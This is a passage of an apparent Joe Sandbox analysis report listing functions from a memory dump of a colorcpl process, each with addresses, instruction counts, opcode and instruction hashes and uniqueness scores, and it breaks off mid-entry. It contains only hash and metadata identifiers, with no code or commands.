Function 1E64DDB1 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff33570f2c2ac336df972e6f694a79a871e76e2bff359fe41781ddbb4369fb16
Instruction ID: ee51aa6731eb5fcef2869f339187e263c7c3a234e9f0bcaf4bd0530e5128c16d
Opcode Fuzzy Hash: ff33570f2c2ac336df972e6f694a79a871e76e2bff359fe41781ddbb4369fb16
Instruction Fuzzy Hash: E9210375A022C9DFEB029FA8C940BDDBBB5FF16704FA406A9E5009B391C7799D00C768

Uniqueness

Uniqueness Score: -1.00%

Function 1E6D7A11 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 512b137ad89a7df6b990cf685ed85c22080462fca4e19b5674eeca6d299f7e61
Instruction ID: 6408e6eb3aa9cf878809b8c4ce785bfb06e89b58256dcf50642616031da25b3a
Opcode Fuzzy Hash: 512b137ad89a7df6b990cf685ed85c22080462fca4e19b5674eeca6d299f7e61
Instruction Fuzzy Hash: 8F214471A0038ADBDB08CF94D890BECB3B1FB49721FA4831AE465A6280D7786945CB95

Uniqueness

Uniqueness Score: -1.00%

Function 1E6B98E7 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f0029a5fddd162ff8ec647c63b68ca8ae11ce565b8650359554b74b1a6a5eab
Instruction ID: 49ca17d5b7bcd59b0c2f183cb7449571dbb6cc2eae53a43b274283d9c08f5271
Opcode Fuzzy Hash: 0f0029a5fddd162ff8ec647c63b68ca8ae11ce565b8650359554b74b1a6a5eab
Instruction Fuzzy Hash: 07110A32B10156ABDB049B58C984A5EB7BDAF4C790F5D426DE405E3300DF749D00C794

Uniqueness

Uniqueness Score: -1.00%

Function 1E62FAA4 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4870b528d7b25b4471f0b5810bc38dc9778e41db59f1a3cb7c06885f010ffa25
Instruction ID: 1418eb29ae7b92fa76828ddfdc43fd133ddfdd8c05150317b8598073ab21796a
Opcode Fuzzy Hash: 4870b528d7b25b4471f0b5810bc38dc9778e41db59f1a3cb7c06885f010ffa25
Instruction Fuzzy Hash: 0C119035600346EFDB25CF61CC14F5AB7AAEB86314F9486A9E441AB280D771BD82CF90

Uniqueness

Uniqueness Score: -1.00%

Function 1E665A01 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ed659946fb9fc9b79206869a8043569f9835a961de5c7259737506ae61f8194
Instruction ID: dae6a4c809f9849d89ba2a1eeecf6f9f9b1bb18dc009edc394850fc93caf2f5a
Opcode Fuzzy Hash: 6ed659946fb9fc9b79206869a8043569f9835a961de5c7259737506ae61f8194
Instruction Fuzzy Hash: F9112B36252694BFC7225F45CD51F1B3B7AEF8DB80F510A28B6045B2A0C771DC00D794

Uniqueness

Uniqueness Score: -1.00%

Function 1E6FDDC6 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93f4e7af98a6c385ea36c919ef03bbe4d37044313034a9aa39d0b50dfd9d5ba1
Instruction ID: b769fb1442875da443bfb3f9669ef425b9ef7899d847a575db8ec909a1901216
Opcode Fuzzy Hash: 93f4e7af98a6c385ea36c919ef03bbe4d37044313034a9aa39d0b50dfd9d5ba1
Instruction Fuzzy Hash: EB01D226B01145DBCB059A6D8C60B7AB38BABE5220F944335E575C7388DE34F81282A5

Uniqueness

Uniqueness Score: -1.00%

Function 1E6ADA1D Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 012a71606a4d59d9462653767c3d49fe1bd4ebf1bf8dc5cce1905e6e7a89c31f
Instruction ID: 1c5b80b79caec7044b15583acd0ee277debe14f85325621d5fdad3bff6f97b58
Opcode Fuzzy Hash: 012a71606a4d59d9462653767c3d49fe1bd4ebf1bf8dc5cce1905e6e7a89c31f
Instruction Fuzzy Hash: F6112132904248BFCB019F6CC8808BEBBB9EFD9304F50816AF9448B250CB319D40C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 1E627D41 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60c823d4a219f1a9f007e6fc68887373275c2c513e16b3fc8dced40f8957b3e8
Instruction ID: a66bff46b9094bb12273d03c8e52f6f5e81f89c43fc52e67f04a29a897087586
Opcode Fuzzy Hash: 60c823d4a219f1a9f007e6fc68887373275c2c513e16b3fc8dced40f8957b3e8
Instruction Fuzzy Hash: 750104751026A39BC3168A15D850E267BB7DFC6B507D58A7DE8498B300DB38F801CB94

Uniqueness

Uniqueness Score: -1.00%

Function 1E6ED6F0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab5dca7662d95f66bb5cdf7901944074af6dd6205da9398680eb86638002d29b
Instruction ID: 5d13d8ea6f86f1a925fc3647abd25536cd54f56c5f7145502e31faa5f5385e35
Opcode Fuzzy Hash: ab5dca7662d95f66bb5cdf7901944074af6dd6205da9398680eb86638002d29b
Instruction Fuzzy Hash: 9E016179B1114AAB9F04CBAAC944DAF7FBDEFD5A44F510269A915D3240E730EE01CB60

Uniqueness

Uniqueness Score: -1.00%

Function 1E663820 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c800d68fdc7f6ccd6485f15652321481c4ae6c56211be90af6904b19e6dfe50
Instruction ID: c9d5995e88d3ce229a8351a501b6da99cdd8e22177170f8fd71fe2bb10f0b216
Opcode Fuzzy Hash: 8c800d68fdc7f6ccd6485f15652321481c4ae6c56211be90af6904b19e6dfe50
Instruction Fuzzy Hash: C3114974A54246DFD744CF19D480A89BBF5FB4D320F44825AE848CB301D735E880CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 1E629A40 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54216382913283830c26bdc9664fbde62cdffc92f520da71175d48dce4df26c6
Instruction ID: 598cc9f5f8428558143640001a3ebb9c61238445ae60f1b78571e40408cb6b3d
Opcode Fuzzy Hash: 54216382913283830c26bdc9664fbde62cdffc92f520da71175d48dce4df26c6
Instruction Fuzzy Hash: AF01B5761423569BD3218A21C854E5677AEEB827A0FE88639E1154B250DB31EC01CBD4

Uniqueness

Uniqueness Score: -1.00%

Function 1E633C84 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2addcec82b7f710ec85a5ded4d2f8a2056ce6b7332473403804f9c4d44794082
Instruction ID: f9e50e541731f17682b46684a9c068e379553266e025114ab058225be390f711
Opcode Fuzzy Hash: 2addcec82b7f710ec85a5ded4d2f8a2056ce6b7332473403804f9c4d44794082
Instruction Fuzzy Hash: 68114876A52560DFCB29DF58CA50F6A73BAFF48704F96066CE405A7610C338BC00CB94

Uniqueness

Uniqueness Score: -1.00%

Function 1E6EFB0C Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42468f04d0c1cb0e876186dabc3726659f0a025b5bba9902a260be000c83a67c
Instruction ID: 4ea32c717b532c240849b6ae073c5443d7301c742adac15db37bb9993221ab3d
Opcode Fuzzy Hash: 42468f04d0c1cb0e876186dabc3726659f0a025b5bba9902a260be000c83a67c
Instruction Fuzzy Hash: 7F116D75E01249ABDB00DFA9D855E9EBBF8EF44740F40452AB904EB390D674EA00CB94

Uniqueness

Uniqueness Score: -1.00%

Function 1E6EFA02 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: deb5439629bc585b0393ce640f2cdbde00b074e62b969b977dbfeb5fc7ef56e9
Instruction ID: 3dfe828ba4a6107fb4d4a1ad0e43433f510e0b31da8bfb7f2aee4855d15cb85e
Opcode Fuzzy Hash: deb5439629bc585b0393ce640f2cdbde00b074e62b969b977dbfeb5fc7ef56e9
Instruction Fuzzy Hash: E2019E75E12248EBDB04DFA9D845FAEBBB8EF44710F404566B800EB380D674EA01CB95

Uniqueness

Uniqueness Score: -1.00%

Function 1E6EFA87 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3a190777f31f746ba4c301d59b630706065fabf0c552ebb82a8d90d3b0429b0
Instruction ID: 7bb176589e0725f6aa243352c21b49b52868c02008d812fa19cf0e46138cd9ce
Opcode Fuzzy Hash: d3a190777f31f746ba4c301d59b630706065fabf0c552ebb82a8d90d3b0429b0
Instruction Fuzzy Hash: F6019E75E02248EBDB04DFA9D845FAEBBB8EF44310F404526B800EB280D674EA41CB95

Uniqueness

Uniqueness Score: -1.00%

Function 1E6EF8F8 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 930e3a0456c6476e12cc124dd2febb077f4e9e478390080c322d028de7b83fb6
Instruction ID: 645343d908ed29319135c013b4b42be88c45f310af58eeffbbd7d31367cddb4c
Opcode Fuzzy Hash: 930e3a0456c6476e12cc124dd2febb077f4e9e478390080c322d028de7b83fb6
Instruction Fuzzy Hash: 6C019E75A02249ABDB04DFA9D855FAEBBB8EF44310F404526F940EB280D774EA00CB95

Uniqueness

Uniqueness Score: -1.00%

Function 1E6EF97D Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b641b4d8e1eef0542eafe0424fa91bdef968f95fb79328bd9e3c3103a9d05c29
Instruction ID: 6259d01b06954266da1f16f80252c1a117aca2601178f1783d80064444650ba3
Opcode Fuzzy Hash: b641b4d8e1eef0542eafe0424fa91bdef968f95fb79328bd9e3c3103a9d05c29
Instruction Fuzzy Hash: C0019E75A02248ABDB04DFA9D845EAEBBB8EF44310F504566B940EB280D674EA01CB95

Uniqueness

Uniqueness Score: -1.00%

Function 1E663E8F Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d4d92f9d146c56f9ad3e78502a004861ace5efd1f0686b6c91f2a0b41a13872
Instruction ID: 96c8ad3e6dba2cb37d0d824969356e4c54c68f16222e9a920e69316467c09b71
Opcode Fuzzy Hash: 2d4d92f9d146c56f9ad3e78502a004861ace5efd1f0686b6c91f2a0b41a13872
Instruction Fuzzy Hash: 44018F769913518BC302DF7DC260552BBEAFBCE610B90071AD51AC7B15D232ED02CB64

Uniqueness

Uniqueness Score: -1.00%

Function 1E6EDEB0 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04e8f5beb4ff41848d123b01d94e2816ae296b421777b2303a20123720045dd8
Instruction ID: e67e30b2f4d26d182605aebfa1868f4ebbcfa3d5ae4239d343a6224fb70dc59d
Opcode Fuzzy Hash: 04e8f5beb4ff41848d123b01d94e2816ae296b421777b2303a20123720045dd8
Instruction Fuzzy Hash: 7501DB75E11248AFDB04DF69D855FAEB7B8EF45704F404126F900EB380DA74E901C799

Uniqueness

Uniqueness Score: -1.00%

Function 1E6EDF2F Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e20f9b393ee626ba830bd373cf8dc78f37383390f302fa72f958922c690f612f
Instruction ID: 57bd6bf5e4e370f8d0d29a52ec8f1e9b034c9c7843e7deb19540e789e12472f1
Opcode Fuzzy Hash: e20f9b393ee626ba830bd373cf8dc78f37383390f302fa72f958922c690f612f
Instruction Fuzzy Hash: 5001D675E11248AFDB04DFA9D855FAEBBB8EF44704F404126F900EB380DA74EA01CB99

Uniqueness

Uniqueness Score: -1.00%

Function 1E6EDDC7 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15e1e395880b9be7c74cb36d9aed3ba330cdcc7d9d26ee38f50343dd833404a0
Instruction ID: 8421c024cb0dab937ce3923da923b095d8cd470ae91fa399a179e633055c6271
Opcode Fuzzy Hash: 15e1e395880b9be7c74cb36d9aed3ba330cdcc7d9d26ee38f50343dd833404a0
Instruction Fuzzy Hash: BA01D675E11248AFDB14DFA9D845FAEBBB8EF44704F404526F900EB380DA74E901CB99

Uniqueness

Uniqueness Score: -1.00%

Function 1E6EF80A Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9454c5c7bc271a3fdf1fa86107cdd00d7bcdb8be6c65ee248e2ecd5fbf9c7a1
Instruction ID: 73b2207505a548f355ed4794246c26bf2e3e9194ea3446d38c93c724564542a5
Opcode Fuzzy Hash: b9454c5c7bc271a3fdf1fa86107cdd00d7bcdb8be6c65ee248e2ecd5fbf9c7a1
Instruction Fuzzy Hash: 7201F275E11258EBDB00DBA9D805FAFBBB8EF44700F80456AF400EB280DB74E900C794

Uniqueness

Uniqueness Score: -1.00%

Function 1E64DE2D Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 368e61ba87865aa19346178b7844ae674ffcdb5df96dd9dd0ad9eec9e280710d
Instruction ID: 71066cf2eb30cf9a228c930de16fc5b730c938ed6547f62992364484bfd458c7
Opcode Fuzzy Hash: 368e61ba87865aa19346178b7844ae674ffcdb5df96dd9dd0ad9eec9e280710d
Instruction Fuzzy Hash: D4014C38A041D19FD7128B118964BF93BEAAB27754FF807E4E9609B5E1D728CD40C720

Uniqueness

Uniqueness Score: -1.00%

Function 1E705636 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cac7cf2dc45eb6968bfde9e0f7b0400c5ca3bbfd089480c8575668b1f5994d7
Instruction ID: ae7c61003be63bcdf3e3cba8af0e931b4c6e8a8c77625ceb256413e798d3b4d2
Opcode Fuzzy Hash: 6cac7cf2dc45eb6968bfde9e0f7b0400c5ca3bbfd089480c8575668b1f5994d7
Instruction Fuzzy Hash: 8E11AD78D00249EBDB00DFA8C440A9EB7B8EF08704F10845AA800EB350D730EA02CB54

Uniqueness

Uniqueness Score: -1.00%

Function 1E6F972B Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12d69b80bc09a443baffa0cc5cbca6f8f88db38978ae6a908cdca1f93a55da69
Instruction ID: e55596d33dfde9271844e2881c656f44701300612e66d90dcfe3f6a49795b747
Opcode Fuzzy Hash: 12d69b80bc09a443baffa0cc5cbca6f8f88db38978ae6a908cdca1f93a55da69
Instruction Fuzzy Hash: 2111A5B1A106219FDB88CF2DC0C0651BBE8FB88350B0582AAED18CB74AD374E915CF94

Uniqueness

Uniqueness Score: -1.00%

Function 1E665734 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 142e258c31b2854674597990c3f52e5af594bf5f99f2c3b686c6bb1bb1f636c8
Instruction ID: cfeb9a00e190ef754d15c3bdee99beec8d8bd74a82eb77bff3fa9bd6948110b3
Opcode Fuzzy Hash: 142e258c31b2854674597990c3f52e5af594bf5f99f2c3b686c6bb1bb1f636c8
Instruction Fuzzy Hash: 56F0FF72A21214BFE309CF5CC841F5ABBEEEB4A650F014279D500DF231E671EE04CA94

Uniqueness

Uniqueness Score: -1.00%

Function 1E6BD820 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64789c6ddbead33302fac3212ecdc079511659893230da43a9a81759dace1cf8
Instruction ID: de745a2eae4c0274d32863e72937c12410a2d992c8636a1780f53ffdf5c16554
Opcode Fuzzy Hash: 64789c6ddbead33302fac3212ecdc079511659893230da43a9a81759dace1cf8
Instruction Fuzzy Hash: 39F0FF3A7421D06ADB2527A18D24F2A372ADBD5BA1FE00E38B6004F6A0DB14AC00C34C

Uniqueness

Uniqueness Score: -1.00%

Function 1E631E30 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9a720d99e092428df2c9411d9c4715118aa9b165e762b3b3b92662b8f60105c
Instruction ID: d497484891db3e009b0684590bf022850389d3d55e8b6e8419ce9098c5564800
Opcode Fuzzy Hash: b9a720d99e092428df2c9411d9c4715118aa9b165e762b3b3b92662b8f60105c
Instruction Fuzzy Hash: 8F014436A11688EFE710CB44CC08F4A33E8DB12F21FA08743EC289B290D735EC408785

Uniqueness

Uniqueness Score: -1.00%

Function 1E6EF889 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c5558550ec265d813efd806e32b6cd256fdf6c6e665e2175b5cb3775afe045d
Instruction ID: 85023f3854314e6ef0d506650d17490abe5bf74b41be954bb5e642e02edec934
Opcode Fuzzy Hash: 6c5558550ec265d813efd806e32b6cd256fdf6c6e665e2175b5cb3775afe045d
Instruction Fuzzy Hash: EBF0C836E1124CABDB04DBB9C905AEEB7B8EF45710F40855AF501F72C0DA74E9018B95

Uniqueness

Uniqueness Score: -1.00%

Function 1E627967 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4591191befd7c5beb4969d763fd59f5eb86e9bd1e44db9431eda3793a83f3aea
Instruction ID: 501e1f9f829e48c40fc033499bf69d04d20fac25180e6459284f42fddc405d5b
Opcode Fuzzy Hash: 4591191befd7c5beb4969d763fd59f5eb86e9bd1e44db9431eda3793a83f3aea
Instruction Fuzzy Hash: FEF03C76B02214ABDB15DA59C940FAE77BEDF89700F940269A901A7280DB74BE01CB95

Uniqueness

Uniqueness Score: -1.00%

Function 1E6EDE46 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a8d0794c21b666e36e0dc79bb50e3d066cc9739cc40bb011b89da3e269756a6
Instruction ID: e600632cf89d79db362bcfb4bcd2e04a9653055b73be8337fad12e4070b9898d
Opcode Fuzzy Hash: 8a8d0794c21b666e36e0dc79bb50e3d066cc9739cc40bb011b89da3e269756a6
Instruction Fuzzy Hash: D2F0F635B11248ABDB04DBB9C915E7EB3B8EF55700F804569F501EB6D0EA70E901C755

Uniqueness

Uniqueness Score: -1.00%

Function 1E65FEC0 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0c9e1138bf08bfd7576430339e0cbf29eabd9c0b51781b0a2b60c8ef6cb374a
Instruction ID: bf0f4b508e0e0f48315462b591650e665b1cc6c248d30a5b5539880f4124e682
Opcode Fuzzy Hash: b0c9e1138bf08bfd7576430339e0cbf29eabd9c0b51781b0a2b60c8ef6cb374a
Instruction Fuzzy Hash: EDF0B477B0316157D2308B9CE850B6A3368EBCAF61F610739F941DB740E714E8019A94

Uniqueness

Uniqueness Score: -1.00%

Function 1E703B10 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 939d35e01c02f87bdc7d116ee6a10a3add43fdf3b6bd4552ab9fa976b7bf1466
Instruction ID: 8ccf70e5592a70f0c9c9d55e3f8637098f3a95fd522474525a0c868bf7738559
Opcode Fuzzy Hash: 939d35e01c02f87bdc7d116ee6a10a3add43fdf3b6bd4552ab9fa976b7bf1466
Instruction Fuzzy Hash: 09F0C837100744AFE7119A69D840F93B7EEBFC2B04F414A19E64687554DB74F441CB50

Uniqueness

Uniqueness Score: -1.00%

Function 1E703749 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c86c39bdb6e5f373c63bc0b61fffc749c090866831c7dd43b14b299580d1563
Instruction ID: 7acc4444c0a11a48f1b23ad720524682fb7018f27101083bca04be7f36591a25
Opcode Fuzzy Hash: 9c86c39bdb6e5f373c63bc0b61fffc749c090866831c7dd43b14b299580d1563
Instruction Fuzzy Hash: 2EF04FBA940244BFE711DBA4CD41FDB77FCEB04714F100666A955D6190EA70AA44CB94

Uniqueness

Uniqueness Score: -1.00%

Function 1E62FD80 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a174de0e20a84e4e462ad37a34075d61457da5c0f2ce69c74170702235a7cc26
Instruction ID: cea94f240d8d22a9207f5c61aa7f6b7902b8a7add44b167956054de82770327b
Opcode Fuzzy Hash: a174de0e20a84e4e462ad37a34075d61457da5c0f2ce69c74170702235a7cc26
Instruction Fuzzy Hash: 8DF05937A221B25BE3309B4AE980986B738F7DD752BE00F7BE18197150F7605481CF98

Uniqueness

Uniqueness Score: -1.00%

Function 1E65D978 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
